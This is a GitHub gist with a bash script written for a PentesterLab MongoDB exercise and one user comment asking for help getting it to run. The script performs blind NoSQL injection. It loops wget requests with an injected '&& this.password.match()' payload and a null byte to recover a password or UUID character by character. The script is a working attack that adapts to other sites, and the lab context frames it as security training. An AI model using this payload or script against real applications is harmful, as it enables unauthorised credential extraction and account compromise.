Skip to content

Instantly share code, notes, and snippets.

@r00tpgp
Last active June 9, 2020 09:49
Show Gist options
  • Save r00tpgp/7e510f51381996128c86b4b5a77ec58d to your computer and use it in GitHub Desktop.
Save r00tpgp/7e510f51381996128c86b4b5a77ec58d to your computer and use it in GitHub Desktop.
mongodb noSQL injection Exercise 02 @ Pentesterlab.com
#!/bin/bash
# This script was written to do blind nosql injection to enumerate the UUID
# Written by r00tpgp
# 10 Dec 2018
#
charset=("a" "b" "c" "d" "e" "f" "0" "1" "2" "3" "4" "5" "6" "7" "8" "9" "-")
uri="http://xxxxxxxxx"
d=0
for ((j=0;j<=36;j+=1))
do
for i in ${charset[@]}
do
printf "Trying... $i @ position $j \n"
out=`wget -qO- $uri/?search=admin\'%20%26%26%20this.password.match\(/^.{$j}$i/\)%00 | grep "?search="`
if [[ "$out" =~ "<tr><td><a href=\"?search=" ]]
then
printf "Found UUID char: $i \n"
pass+=$i
break
fi
done
done
printf "UUID is: $pass \n"
@ahleihel
Copy link

hi man can you check this again as even after i added the website its not running for more than 10 seconds without outcome.
please help im trying to get the UUID for 2 days with no luck

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment